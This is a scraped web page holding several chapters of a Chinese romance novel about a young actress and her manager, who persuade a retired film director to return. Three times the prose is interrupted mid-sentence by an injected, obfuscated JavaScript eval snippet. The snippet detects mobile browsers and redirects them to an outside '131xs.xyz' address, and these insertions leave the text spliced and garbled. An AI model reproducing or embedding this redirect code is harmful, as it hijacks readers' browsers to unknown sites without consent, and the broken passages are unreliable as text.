又在ins上说:【我真心疼你,你们想请魏仕明出山,可这也太难了。何况他的作品从来就没战胜过我叔父。】 …… 又快零点。 魏仕明将陆巡与Hugo送至门口,陆巡那条左腿此时起到了很好的掩饰作用,仿佛他行动缓慢并不是因为醉酒,而是身体条件使然,连Hugo在一旁都准备时不时扶他一把。 这一幕让人哭笑不得。 魏仕明缓缓说:“今天北电三试后的热闹我也有听说,可二位,即使是曾潮的侄女在镜头前耀武扬威,我也无心再卷入什么是是非非了。” “二位选中的这位女孩确实非常优秀,急需一部好作品来证明的心情可以理解,但恕我爱莫能助。如果二位再在北城有心仪的导演,我倒是可以帮你们搭线,别再在我这儿浪费酒了。” 走出小区,陆巡在相同的位置再次呕吐。 助理递上水,他漱口,和上次一模一样。 抬起头时,连那灰黑的天都一样。 上了车,还那么安静。他问Hugo:“其他导演新递来的剧本有好的吗?” “再好都不够好。”Hugo摇头,“七少爷,我了解你,并且在这一点上我和你一致。如果不拿下最好的方案,选用其他任何稍逊色的方案我们都会不甘心。” “这老头子的心结不是一天两天了,”他又开口,“所以我们不能急于一时,先回去想想办法,再做下一步打算。” 陆巡笑笑,拿起旁边的药板掂了掂:“完全没效果。” Hugo道:“那是因为你喝得实在太多。” 陆巡又拿出手机来看。 胃里吐干净后虽然虚弱难受,但至少头脑清醒。关于程锁锈#小牌大耍#的词条还挂在微博热搜榜,但其中舆论已在公司的操作下完全扭转,很多都是安利程锁锈的内容,他问Hugo:“有效果吧?” “当然。”Hugo微笑,“凭我们家这位的脸蛋,涨粉飞快。” 陆巡放下手机,叹一口气:“凭我们家这位的脸蛋,我们也不能放弃planA去屈就planB。” * 第二天陆巡没像第一次喝醉时那样缓过来,近中午才起床。 一睁开眼,程锁锈趴在他身边,翘着脚,手指间夹着根笔,晃成残影,在做数学题——接下来该准备的是文化课。 程锁锈打小上国际学校,从没想过自己有一天需要和文化课较劲。 察觉他醒了,她看他一眼:“今天去做什么?” 他长长地呼出口气。 胃里的感觉也和上回不同,仍有些刺痛。 程锁锈将笔抵在下巴处:“还是说,就在酒店里休息?我们过几天回南城么?” 陆巡没答,起身:“吃个午饭,带你去公司和家里看看吧。” “家?” “对。” “什么家?” 洗漱完毕,吃了点清淡的午饭,穿戴齐整,再抓个背头,陆巡精神状态看上去挺好,又有了那股意气风发的帅劲。 没要任何人跟,他开了辆商务车和程锁锈离开酒店。 这天阴天,特别厚的灰云滚满天空,一块一块地从车前玻璃向后退去。程锁锈坐在副驾驶位,仍在脑子里滚动数学题公式。 车驶入一远离市区的高档小区,其中都是独栋别墅,排列齐整,陆巡说:“这儿私密性好,但以防万一,我买了两栋挨在一起的,打个地道,以后我们就这么住。” 程锁锈反应了一会儿。 ——“牛逼。” 21. 诚意 车开进东侧那幢别墅的院中,两座别墅都在装修,陆巡带程锁锈参观,给她介绍每一处的设计思路,以及看那条连通两座房子的地道,还挺宽敞,安装了许多感应灯后也十分明亮。 程锁锈被深深震撼了:“陆巡,亏你想得出来。” 他摸着威尼斯灰泥墙面,被工匠用抹刀刮出扇形的褶皱,如同凝固的丝绸:“都是找自家公司的人做的,很保密,不用担心走漏了风声。来,我给你看这儿。” 两栋别墅都是顶奢装潢,东边一栋设计得适合生活起居,西边一栋则完全发挥了陆巡的创意,譬如一层地板与地下停车场之间采用了高透玻璃,他又将地下停车场设计得灯光通明:“之后在这里置办几辆车,走过时就可以欣赏。” “不错。” “楼上还有一层是家庭影院,完全模拟成真实影院的样子,以后走廊墙上贴你的电影海报。” “真的?带我去看看!” “但还没完全装好。” “还是那句话——真亏你想得出来,我对你的崇拜不免又多了一点,陆巡。” “就一点吗?” 程锁锈笑。 从小区出来,两人回到北城市区,去看陆巡成立的经纪公司,路上飘起点雪花。 说白了这公司专门为她服务,办公地点占据了办公楼两个平层,正处于装修的收尾阶段,现在员工暂时被安置在陆巡位于北城的另一家公司内,将那里作为临时的办公地点。 两人站在落地窗前。 大雪飞扬。 雪粒铺天盖地,遮蔽视线,让整个世界都像被铅笔速写痕迹给淹没了,又在窗户下面堆积出几块弧形的小角。 南城见不到这样的大雪,下得气势如虹,整个世界都有种别样的安宁与静谧。程锁锈和陆巡像站在水晶球内,只是雪花碎片都翻卷在玻璃之外。 程锁锈看得入神,外面被雪压得发暗,巨大的玻璃窗便浅浅映出室内的景象,她神思飞远:“虽然现在都二月了,但你看,冬天就要下这么大的雪才有氛围,南城那样算什么圣诞节?不过是街上都装点上应景的东西罢了。” “去年圣诞节,你兴冲冲去街上拍照扫货时可不是这么说的。” “哦?”程锁锈有些尴尬,笑了几声。 过了会儿,又开口:“以前呢,我会想象我们以后的生活。因为那时候家境好,不必像现在这么拼事业,所以我想遇到好的作品争取去拍,私人时间里自由自在,旁人爱怎么议论怎么议论去。” “某个冬天,我们去某个同样大雪纷飞的地方住一两个月,比如冰岛?我觉得那是特别理想的地方,与世隔绝。” “可以去。”陆巡说,“有机会就可以去。” “真的么?”她看他。 “真的。你要是说纽约那种地方我还得考虑,但冰岛可以,挺好实现的。” “因为那里人少,不容易有人认出我们是吗?” “陆巡,你这么说的话我可真去想了。” “想吧。” 她继续和陆巡说话,他胃部狠狠收缩了一下,反应在脸上成为紧蹙一下的眉、两秒钟有些痛苦的表情,她当然察觉,话头收住:“你不舒服?” “是不是因为昨晚又喝了特别多白酒?” 她将手覆在他胃部,以不容拒绝的语气:“你快点告诉我,你和Hugo这几天都在应酬些什么?” …… 和安思畅说的一模一样。 他们要请魏仕明出山,给她导一部电影。 听起来就是件困难重重的事,程锁锈叹一口气。 “陆巡,你真傻,这么一次一次地找他喝酒他就会答应吗?” 他还那么不正经地笑:“三顾茅庐么,至少先拿出诚意吧。” “那我看,诚意是有了,但你不能再摧残自己的身体来证明诚意了,这样得不偿失,我们今晚回酒店再好好商量这件事。” 她走到陆巡面前,仰起头,捧着他脸,一时间五味杂陈又爱又恨,想做点什么,却不知该做什么。 四目紧紧相对,她皱眉思考了一会儿,踮起脚,恶狠狠地吻在他唇上,双唇紧闭着吻的,仿佛惩罚他,要让他窒息,虽然她也不清楚这算哪门子惩罚。 * 一周后,陆巡、Hugo邀请魏仕明前往北城一家私密高档的餐厅——浮岛秘宴用餐。 魏仕明当然百般推辞,但陆巡和Hugo信誓旦旦,表示这是最后一次叨扰他,如果这次聚餐后他仍然坚持己见,他们不会再强求。 魏仕明便来了。 雪霁天明,这家饭店的设计极致奢华。他们在烘着暖气但半开放的包间内用餐,正对一座零下却未结冰、波光粼粼的人工湖。远处山色染白,轮廓清晰,像一幅近在眼前的工笔水墨。 “这样好的美景,真像在电影里啊!”魏仕明感叹。 陆巡起身,亲自给他倒酒,听了他这样的话笑笑。 三人面对湖而坐,一条连廊延申至湖中,尽头是一座面积很大的亭台,也是座舞台。 开宴后古代装扮的服务员们排列成队,翩跹而来,给三人上菜,房间两侧奏起乐声,舞者们沿连廊登上远处的舞台,表演起宫廷舞蹈,湖面也划起小船,场景在眼前别开生面。 陆巡观察着魏仕明神色。 对于他们如此大手笔的宴请与如此精心的准备,他的确有受到重视的感激,但尚不足以被触动。 饭菜吃了大半,酒也喝到上头,又一支中规中矩的舞蹈完毕,舞者们退下,乐曲的风格忽然变。琵琶与古筝铮铮作响,暗藏玄机与杀气,如同一道道尖锐的气流冲荡空间。 魏仕明屏息凝神,目光有些飘忽。 因为这是《万花错》中的经典乐曲。 在那关键节点,也是他再熟悉不过的节点,大捧的淡粉色花瓣从远处舞台穹顶上顷刻间坠落。因为数量实在太多,简直如同一齐砸下来的,然后轰然爆开,四散飞扬。 他紧眯双眼,皱纹聚起来都快将眉目给淹没。 生怕错过分毫。 因为在《万花错》影片里,桃林中同样的场景,高曼正是从这样铺天盖地的花瓣中突然杀出的。 她打戏一绝,拳拳有力。花瓣一路往下掉,她一路往前杀,镜头从正前方给,她被淹没在花海中时隐时现,剑眉星目,一张美人面却如男子般英气,伴着危机四伏的琵琶声与古筝声荡气回肠,那或许是他此生中最得意的片段之一了…… 他爱他所勾勒出的每一个世界,爱他所创造出的每一个人。 可现实污浊不堪,他有时候想,或许他和他的作品都不该属于这个世界。 在他眼里,高曼就是影片中那位侠女的形象。那段镜头太绝,总在他脑海中不断出现,可现实中的高曼也…… 眼前从花瓣中出现的女生却不是高曼。 《万花错》中,高曼是一较为中性的形象,束冠,五官英气,一身白衣,袖口紧束,且是打拳的。 远处廊桥中的女生则扎高马尾,舞剑,一身白袍未束袖口,洋洋洒洒,与不断落下的花瓣以相同的速度舞至包间。 虽然没有电影中那么专业的妆造,但五官立体,很有特点,兼具现代的精致感与旧港圈流行的混血感。 现实与记忆的偏差让魏仕明恢复清醒,可看着已然来到眼前的程锁锈,还是恍惚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725980|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程锁锈将右手别至身后,藏了剑,不卑不亢地说:“魏导,您好,久仰大名,百闻不如一见。今天斗胆模仿了您《万花错》中的片段,肯定不能与原片相比,还望您见谅。我是程锁锈。” …… 客套了几句,回到后台,宫宴舞曲继续。 这是程锁锈出的主意,为此他们所有人都付出了太多。 要在冬天搜罗来大量的新鲜的淡粉色花瓣,要一遍一遍地在这庭院中排演,确保万无一失。她要将一套动作练得烂熟于心,尽最大程度不被看出是临时排出的花架子。要观赏性,也要力度,让观者看得够爽。 又值寒冷季节,她穿着单薄的衣服在这户外够遭罪的。 所幸一切都很顺利。 这些人力物力,与他们所想从魏仕明手里换得的报酬相比,不值一提。 只是程锁锈完成任务后,在看不见的地方观察包房内情形,每每看到陆巡一杯杯白酒入口,或起来颤颤巍巍地去给魏仕明倒酒,她心脏就像被人给紧紧地攥成一团一次,生生地疼。 实在不忍再看,也无事可做,她在偏院里继续舞剑。 刺骨的空气将她双手都冻得没了知觉,最后完全是凭肌肉记忆在完成每一个动作。 好像陆巡受皮肉之苦,她也受皮肉之苦,这样才会平衡,不那么揪心地难受。 最后是刘榴把她给找回去的。 包房内,魏仕明难得放缓了喝酒的速度,天也渐渐暗了。长廊与湖面的小船都亮起灯,更有了歌舞升平的奢靡与浮华,可他总忍不住去追寻那被风给吹散了的花瓣的痕迹。 偶有一点,一点,在地毯上飞起,跳跃一段,坠落;或有一点,一点,在那水面上悠哉悠哉地漂过。 * 程锁锈在商务车上等陆巡。 他上车时的状态她再熟悉不过,一定又吐过了,然后洗过脸,整个人看起来挺清爽的,可不免透出憔悴。 他让另一位司机开了另一辆商务车送魏仕明回家。 刚回酒店,其他人都进了各自的房间,无不疲惫,他却拉住程锁锈手臂:“走,我们去趟医院。” 程锁锈十分担心:“你不舒服是不是?” 他点头。 不太想说话的样子。 程锁锈也不磨叽:“走。” * 陆巡住了院。 原来宴席之后,他吐了暗红色的血。 医院诊断为:急性酒精性胃炎伴上消化道出血。 倒不用手术,住院这段时间输液、吃药加静养即可。Hugo等人次日才得知此事,都来看望他,之后被他打发去张罗经纪公司的事,再没来打扰,留程锁锈在这里陪伴。 程锁锈带了各种备考的学习资料,每每看向陆巡时都觉得心疼,和他说:“不管怎么样,在魏仕明的事上我们都尽了全力,如果他还不肯,你也不要硬喝了,我们再想想别的办法,慢慢磨,同时看看有没有其他好的剧本,何况我先拍摄其他作品和我们请魏仕明出山不冲突。” “那倒是。” 他现在说话都淡淡的。 缓缓的。 “何况你再让我喝我也不喝了。” 程锁锈忧愁地看他一眼:“都什么时候了,还有心情说笑。” 陆巡住院的第三天,病房来了位不速之客。 这里明明是VIP病房,对方却直接到门口,不像之前Hugo等人需要医护人员先征询陆巡的意见再被引入。 唐突之中却还留了几分礼貌,那人站在门框间,曲起手指,在敞开的门上胡乱叩叩:“不打扰吧?” 正在陆巡床边做数学题的程锁锈回头一瞧,是安思畅。 22. 出山 这是她们第一次面对面。 “那可太打扰了。” 程锁锈瞥她一眼,回头继续写手上的数学题步骤,语气里带笑:“先是酒店送果盘,然后是不请自来,你在北城还真是为所欲为无法无天啊。” “彼此彼此,毕竟这是我从小长大的地方嘛。”安思畅抱着手,很悠闲地走进,“反正日后在北城抬头不见低头见,都会是老熟人,有什么好客气的?听说陆老板……” 话一顿。 因为她看清了病床上的陆巡。 病床上横架了张桌子,上面放有陆巡的笔记本电脑及平板。 他现在虽身穿病号服,左手上打着点滴,但工作不误,听见她停顿后懒懒地抬起眼来,看她0.5秒,而后目光收回,继续干自己手头的事。 黑发垂着,但额前那部分像是被他给往上捋过几次,恰到好处,不显得憔悴,也不显得颓靡,露出一张不亚于男明星但更疏冷的脸。 安思畅听说过程锁锈“搭档”的来历,港城大佬陆启耀的第七个儿子,可她怎么想也没想过本人是这个模样。 不是,这么副模样,还出来拼死拼活地捧程锁锈,图什么? 她不免愤恨地低头盯程锁锈看。 这张脸真这么迷惑人? 因为她说的话戛然而止,程锁锈刚写完一道数学计算,搁了笔,抬起头看她,一副洗耳恭听的模样,安思畅笑了笑:“没想到你男人这么年轻,我看着都不免有点喜欢了。” “哦?” 程锁锈饶有兴趣地看看她,又看看陆巡。 陆巡面无表情,专注眼前的事,眼神没给安思畅半分:“如果你来这里是为了说这些,我们要请人送客了。” 安思畅并不在意,上前一步靠近他,完全无视一旁的程锁锈:“陆老板看起来挺成熟,怎么开个玩笑就这么激动?” 陆巡一笑:“可能是因为我们的生活方式不一样。你这样只让我觉得挺轻浮,并且——北城没男人了。” “……” “怎么了?”程锁锈一脸无辜地仰头看她,“戳到你痛处了?” “…………” 安思畅从旁边拉了把椅子,在程锁锈身边坐下。又看到程锁锈在做数学题,扑哧一笑:“我都忘了,大小姐在南城一直读国际学校吧?文化底蕴不足一时半会可不好补。” 程锁锈合起那本习题,就差将封面怼到她脸上去:“10岁发烧把你眼也烧瞎了?这是数学,和文化底蕴有什么关系?” “数学?”安思畅一脸担忧,“那更需要脑子了。” 程锁锈放回题本继续写写画画,问她:“你刚进来时想说什么?你听说我男人怎么了?” 听到“我男人”这称呼,陆巡与安思畅皆看她一眼。 程锁锈不以为意地继续按动笔,“咔哒”、“咔哒”地响,双眼一瞬不瞬地盯安思畅。 “我是听说,”安思畅挺直了身板,特像外国经典动画片里的贵妇狗,脸上又恢复刚入这病房时的傲慢,“其实也不用听说,陆老板这不都已经躺在这儿了吗?” “你们费劲地去请魏仕明,可陆大老板——这里不是南城,更不是港城,没有你的好daddy。” 陆巡冷冷说:“自己滚还是我找人请你滚?” 程锁锈搁了笔起身:“走吧,我送你出去,我看你今天也是太闲了。” 安思畅冷哼一声:“不用送了,我该说的都说完了,那陆老板好好休养吧。” 这时有位护士来到门口:“陆先生,陈先生带了另一位先生来找您。” “请他进。” 安思畅从包里摸出口罩,戴上,一张脸被遮去大半,正准备走,陆巡又问:“带的另一位是谁?” 他们这行人里,似乎再没有能被称呼为“先生”的人。 护士有些不确定:“似乎姓魏。” 她觉得眼熟,可她挺年轻,魏仕明也隐退近二十年,她便一时没想出对方是谁,更没料想到影坛中会起怎样的风云变幻,只是安思畅的手不自觉颤抖。 程锁锈微笑着看她,很想说:安小姐,不是什么事都非需要一位好daddy不可,或非需要一位好叔父不可。 可一切尚没有定论,魏仕明只是来探望而已,狠话不敢说太早,怕打自己脸,程锁锈目送安思畅离开了。 一出病房,安思畅又将冷帽戴上,狠往下拉,这才有了种孤身入虎穴的不安感。 还是在走廊尽头与Hugo、魏仕明二人碰面。两人谈笑自若,魏仕明红光满面,身后跟着一人提了一大箱东西,没有叔父撑腰的安思畅在这两位声名赫赫的前辈面前像个新兵蛋子。 她还担心自己被认出,可交错而过时,她仿佛只是一段空气。 Hugo与魏仕明进了屋,身后的人将一箱东西放下,陆巡挺有兴趣地瞧一眼:“魏老怎么还带了东西?” 魏仕明笑呵呵地上前:“这不是心里有愧,没想到陆少爷其实并不很能喝酒,唉,我这颗心哪……带的都是些养胃的东西,说实话,我这几年胃也不大好。” “那魏老以后也少喝吧。” “嘿,那怎么行!” 一屋人笑起来,魏仕明果然没提电影的事。 以退为进,魏仕明临走前,他们也只字不提请他出山,不知道是不是放弃了,魏仕明果然有些犹豫,开口:“关于作品的事,容我再考虑考虑。” 一屋人安静。 “喔,好。”Hugo正要送他出去,搂住他肩,“这算是个好消息?” 魏仕明感怀地笑:“说实话,上回晚宴上的场景就像当年《万花错》里的片段,总在我脑海中不断重现……可《万花错》、高曼都留在那个年代了,时时刻刻提醒我往事已去。” “你们真聪明,用这种方式激得我整夜整夜不能寐……因为我真的很倦于再为一些没有希望的事而奔波。可你们又让我亲眼见到了自己作品中的华光,所以我觉得,如果我再有什么天马行空的想法,你们是懂的,也一定能帮我实现。” “那是当然!”Hugo发出爽朗的笑声,“不过老魏,你得先回去好好考虑,定下来了,我们再详谈。” 他揽着魏仕明离开,程锁锈惊奇地看一眼床上的陆巡。 他则沉浸在自己的思考里:“你说他之所以答应,是不是还有我爸的原因在?” “怎么会?”在程锁锈看来,这二者八竿子打不着。 “我爸对我算重视。”他缓缓道,“当初我出车祸,他倾尽全力来保我这条腿。现在我为这事而把胃喝坏,虽说不算什么大事,但魏仕明会不会也对他的声名有几分忌惮,怕我爸去找他的事不让他安享晚年?” “你想太多了。” 程锁锈正想安慰他,如魏仕明所说,主要原因肯定是他们对他有所触动,可陆巡感慨道:“如果真有这方面原因,有这样的爸也挺好。” “……” “行吧。” * 陆巡出院后的几天,仍要吃药,魏仕明递上剧本。 但他说:“现在的影坛发展太快,百花齐放,我这作品虽然打磨了很久,却越磨越觉得不像是这个时代的产物。” “没关系。”陆巡说,“与众不同或许就是它的亮点,我们再一起敲一敲细节。” “但有个要求。”魏仕明语气严肃,“我要这部电影的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739605|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全决断权。” 陆巡想了一下:“可以。” 于是魏仕明的第一个要求是:在这部电影预计五个月的拍摄期内,陆巡不能和程锁锈见面。 陆巡听了很惊讶,但没有问,因为他心里清楚是为什么。 想明白就挺平静,魏仕明说:“没办法,陆少爷,我这个人看人太准,知道你们两个的感情不一般,否则你不会为了请我出山而把自己喝成这样。我又对我的作品苛刻到近乎变态的程度,所以我要求,女主演必须完全沉浸在我作品的世界里,你来探望程锁锈,无论什么频率,都一定会对她的心境产生影响。” 以为陆巡会反驳,他继续说:“我听Hugo介绍过程锁锈学表演的经历,张椿意这个人我有听说,所以我相信程锁锈的能力,但我一定要让她在这段时间内完完全全地与我的角色合二为一。” “你们实在忍不住可以线上聊聊天。” 陆巡笑了,因为他并没有想反驳。 “好,那我和她说。” 虽然不大情愿,但程锁锈理解。 她看了剧本,影片名为《破剑华》,是一段以唐朝为主要参考的架空历史,朝代称为“亓”,故事围绕女主——亓元帝唯一的女儿,摇丹公主李重华展开。 李重华的母亲是西域人,有着惊世绝伦的美貌,被亓元帝掳入宫中,生下李重华,但在李重华五岁那年被亓元帝赐死。 李重华记恨生父,同时也继承了生母的容貌,美艳异常。为求自保,她自请出宫,住入道观,渐渐被世人所淡忘。 14岁时,她结识了误入道观的江湖少年薛由锦,两人暗生情愫,薛由锦将师父传授的剑法毫无保留地传授给她,但薛由锦属于反朝庭的江湖组织——观鹤台。 与此同时,李重华的叔父——渡王也常来道观中探望。 渡王比她年长十余岁,传闻他曾爱慕她母亲而不得,现在又对她产生了不伦的情感。随亓元帝老去,皇子各个无能,他在朝中的势力如日中天。 李重华为了弑父,在两个截然不同的异性之间周旋,一边破解当年母亲被杀的疑云,一边与二人共同谋划造反。 两条线错综复杂,同时进行,她参与二人的计划,也将二人的谋反日期定在同一天——她父亲的六十寿辰日。 临近日期,她自请入宫,为父皇贺寿。宴上渡王兵变,观鹤台也已潜入宫中,展开刺杀。这是影片的高潮部分,一时间局面扑朔迷离,最后亓元帝、渡王、李重华与薛由锦四人在殿中对峙。 渡王称自己在道观中安有眼线,清楚李重华与薛由锦之间的全部,揭露薛由锦前朝遗孤的身份,称他为李重华做的一切都是别有用心,命李重华亲手杀掉薛由锦以表忠心。 观鹤台根本不足以与渡王抗衡,如今已是宫中困兽,李重华于是将薛由锦刺死。 而后收剑,退至渡王身后,二人同时看向亓元帝。但李重华突然抬手,从袖中射出暗器,正中渡王后脑,给了他致命一击。 这招还是薛由锦教她的。 渡王的兵卫没有退路,只能继续拥护李重华,助她亲手杀掉亓元帝,而后登基继位。 最后这一幕非常妙。 在魏仕明的构思里,李重华登基时是一段长镜头。 在这段镜头中,她首先是她自己;但在金色日光的照耀下,她的脸很像她母亲入宫时;之后镜头拉到身后,自下而上,显得她高大,于是她黄袍加身的背影酷似亓元帝;再走入阴影,拉面部特写,她沉冷决绝的表情像薛由锦;最后在龙椅上坐定的一刻,她的仪态像极了渡王。 程锁锈完全沉浸在剧本中无法自拔。 给陆巡竖了个大拇指。 23. 失心疯 * 《破剑华》预计筹备两个月,于四月至九月期间拍摄。 他们这团队邀请起演员来挺容易,毕竟魏仕明重出江湖就是票房与口碑的保证,相继定下几位老戏骨。 渡王一角敲定为三金影帝何崇尔。 何崇尔38岁,尚处于巅峰期,五官深邃立体如混血,但是东方骨相,成熟男人的魅力拉满。在他之前的影视作品中,他穿西装如斯文败类,披古装如江湖浪客,实在是饰演渡王的不二之选。 但在签合同前,他要求亲眼见见程锁锈。 毕竟这是一部以她为中心的作品,捧她的意图非常明显,于是众人一起吃了顿晚饭,相谈甚欢,魏仕明还给何崇尔看程锁锈舞剑的视频,她已经练得有模有样,何崇尔就这么愉快地上了他们这条船。 只是薛由锦一角涉及到新生代演员,魏仕明迟迟没有中意的人选。 他想要一个新面孔,能给人耳目一新的少年感,演技也不能拖后腿,确实挺难。 陆巡和程锁锈的生日都在三月,因为今年太忙,他们决定选个折中的日期一起过,并且从南城叫来老朋友,包括扈家兄妹和赖圣怡,包了家酒吧。 玩到嗨时,程锁锈问:“要不要把安思畅叫过来?” 自上次医院分别,她们俩有一搭没一搭地在ins上互呛,真真假假,假假真真,谁的嘴都没软过。 现在可能只有陆巡一个人清醒,因为滴酒未沾,他笑:“你问问她们的意见。” 他目光扫过周围的女生,扈嘉怡最好事儿,眼睛亮亮的:“锈锈姐姐,你和那个安思畅私下里关系这么好?” 要知道作为程锁锈铁粉,她们可是跟安思畅粉丝撕得有来有回,八百个来回不止,根本不管程锁锈和安思畅在ins上互关了。 “当然不好。”程锁锈话一出,扈嘉怡心里的石头落下:“那叫她来干什么?” 正半仰在沙发上的赖圣怡手握酒杯,晃着,get到程锁锈意思:“来,叫她带人来!我们喝不死她!以为我们南城人好欺负吗?成天给我们锈锈买那么多黑热搜,仗着有个当导演的叔父了不起啊?明年春节档直接和她对打。” “就是就是!” 赖圣怡这么一说,扈嘉怡就懂了,一呼百应。 虽然说到“黑热搜”,程锁锈看陆巡一眼——那是他们自己买的。 “行,我看看能不能把她叫来。” “嘁,不来就是怕了。” 程锁锈走到安静的地方,知道安思畅对于她ins私信都秒回,给她发:【今天我和我男朋友一起过生日,你来喝几杯?】 果不其然,四秒后:【你俩龙凤胎?】 程锁锈懒得和她解释:【可能这就是缘分和爱情吧。】 安思畅:【位置发来。】 【你带点人吧。】 【哦?明白了。你不会以为我在北城没人吧?】 安思畅十五分钟后到了,带了六个人。这酒吧场内光线特别暗,闪烁的都是明蓝色的光,独有种水族馆的蓝调氛围。 程锁锈到门口去接她,看到她身边跟了个与她们年龄相仿的男生,对方面庞从阴影中渐渐浮现,慢慢清晰,她一顿。 “怎么?”安思畅抱着臂,面上很是得意,“你看上我的小白脸了?当初是谁阴阳怪气说:北城没男人了?” “小白脸?”程锁锈皱眉,“你还有这爱好?” 她看向那“小白脸”时,对方只是迎着她微笑,并不反驳,她哑然。 而她失神的原因,是因为这段时间她一直沉浸在《破剑华》的剧本中,刚才那“小白脸”出现在她面前的感觉,太像薛由锦。 坦白来讲,在《破剑华》中,薛由锦最后是自愿死在李重华剑下的,否则传授她剑法的人怎么会被她刺死? 因为即使杀掉李重华,薛由锦也敌不过渡王的重兵,他是放了李重华一条投靠渡王的生路,那一段对剑的戏便格外凄美动人。 不知道为什么,程锁锈看到他那张清俊的面庞,一下就有了薛由锦的感觉。或许不仅是长相与气质相符,他那双眼里有种柔柔的波光。 “他会演戏?”她问安思畅。 “怎么?”安思畅才有所警惕,“魏导的电影需要这样的龙套?” “魏导?”“小白脸”很惊喜,看程锁锈的眼里都有了光,恨不能下一秒扑进她怀里。 现在圈内多多少少都听说魏仕明与程锁锈合作的事,意料之外,情理之中——魏仕明与曾潮的陈年恩怨尚不分明,程锁锈背后实力强大,又直接和安思畅对打,Hugo与魏仕明也有交情。 “我可没这么说哦,只是问问。”程锁锈语气立刻淡。 “我就是学表演的,我们以后还会是校友,魏导如果需要龙套的话请随时联系!”“小白脸”表情立刻生动起来,“我叫‘迟景蓝’。” “你也是北电的?”程锁锈惊讶。 “是啊,比你们大一届,但还没什么作品。” 程锁锈似笑非笑地看向安思畅,迟景蓝守在她身边不会是因为她叔父是曾潮,想等个出现在荧幕上的机会吧。 “行了行了,大不了你们两个加个微信,有什么事私下里说,好吗?程锁锈,你不是邀请我来喝酒?我带了这么多人,你就把我们堵在门口么?” 程锁锈侧了侧身:“来。” 没想到迟景蓝不走,站到她面前:“你就是程锁锈,对吗?总在微博上刷到你,没想到今天阴差阳错地见了面,我们加个微信吧,我也特崇拜魏老,要真有什么合适的龙套我很乐意跑!就算最后把我全剪掉也没关系!” 程锁锈扫了他二维码。 回到陆巡身边,他问:“刚才那男的谁?你们加微信了?” 好像有点醋味儿。 程锁锈再次瞅一眼安思畅身边的迟景蓝,同陆巡耳语:“你没觉得他很像薛由锦?” 陆巡微眯起眼,打量,安思畅和迟景蓝也正向这边来,安思畅见到陆巡的眼神和迟景蓝见到程锁锈的没两样:“哟,陆陆,好久不见,才出院怎么又喝上了?” 赖圣怡过来掰过她肩膀:“喂,别搞得你们好像很熟一样,来和我们喝。” “哦?”安思畅瞥她一眼,看到他们一桌人已经虎视眈眈,于是带人过去,“原来是这样啊,那来吧,就怕你们这些南城人玩不起。” 赖圣怡呵呵一笑。 迟景蓝还没走,定定地看程锁锈:“要不要一起?” “嗯?” 程锁锈看一眼身边的陆巡,他是不可能再沾一滴酒了,可她坐在这儿好像给他们输了气势,他说:“去吧。” 她望向不远处那满满一桌酒:“一旦去了,我可能会喝挺多。” “没事,我不喝,你要是真醉了我给你托底。” “有你这句话我就放心了。” 程锁锈于是加入战局。扈家邑不喜欢和他们,尤其和他那位亲妹一起闹腾,于是坐到陆巡身边来和他说话。 一桌人全放得开,几乎什么游戏都玩,又涉及南北二城的面子问题,格外焦灼。 到转酒瓶环节,被瓶嘴指到的人可以向桌上任何一个人提一个要求,或问一个问题,如果对方不答应或不回答,那么对方就要喝酒,反之提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744923|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问者喝酒。 安思畅第一次被转到,站起身来指着程锁锈气势汹汹说:“我们两个换男人一个周。” 程锁锈冷冷瞥她一眼,直接将面前的一杯啤酒一口闷。 坐在她右侧的赖圣怡大声嘲讽:“陆大少爷在我们南城确实受欢迎,但像你这么鬼迷心窍不要脸的还真是少见,你们北城就这么缺男人?” “哈?”这话跟陆巡当初在病房里说的一模一样,安思畅气不打一处来,“那你问问程锁锈,她刚才看见我带的男人,是不是眼睛都直了?” 旁边的迟景蓝天真地笑。 “你放屁!”坐在程锁锈左侧的扈嘉怡一拍桌子站起来,反指她,“玩游戏就是玩游戏,你少恶心人!” 安思畅得意地冷哼一声,坐下。 转酒瓶的人按照座位次序来,大家都尽力让瓶嘴对向“自己人”,以对己方有利。 只见下一轮的瓶嘴悠悠对向迟景蓝,他问程锁锈:“你是不是喜欢我?” “……” “不。” “好吧。”他很失望地喝尽眼前酒,仿佛失了恋。 “……我说你们北城的该玩游戏玩游戏,能不能别这么恶心人?”扈嘉怡双眉紧皱,重复一遍。 “怎么了?”安思畅脸皮果然无敌厚,“不是玩游戏吗?怎么玩不起?难道还有规定,什么问题能问什么问题不能问?” “好了好了,你快闭嘴吧,继续。”赖圣怡摆摆手。 轮到程锁锈这边的人转酒瓶,力度都控制得蛮好,于是他们开始向对面发起反攻,先是赖圣怡问安思畅:“你是不是特喜欢当三?” 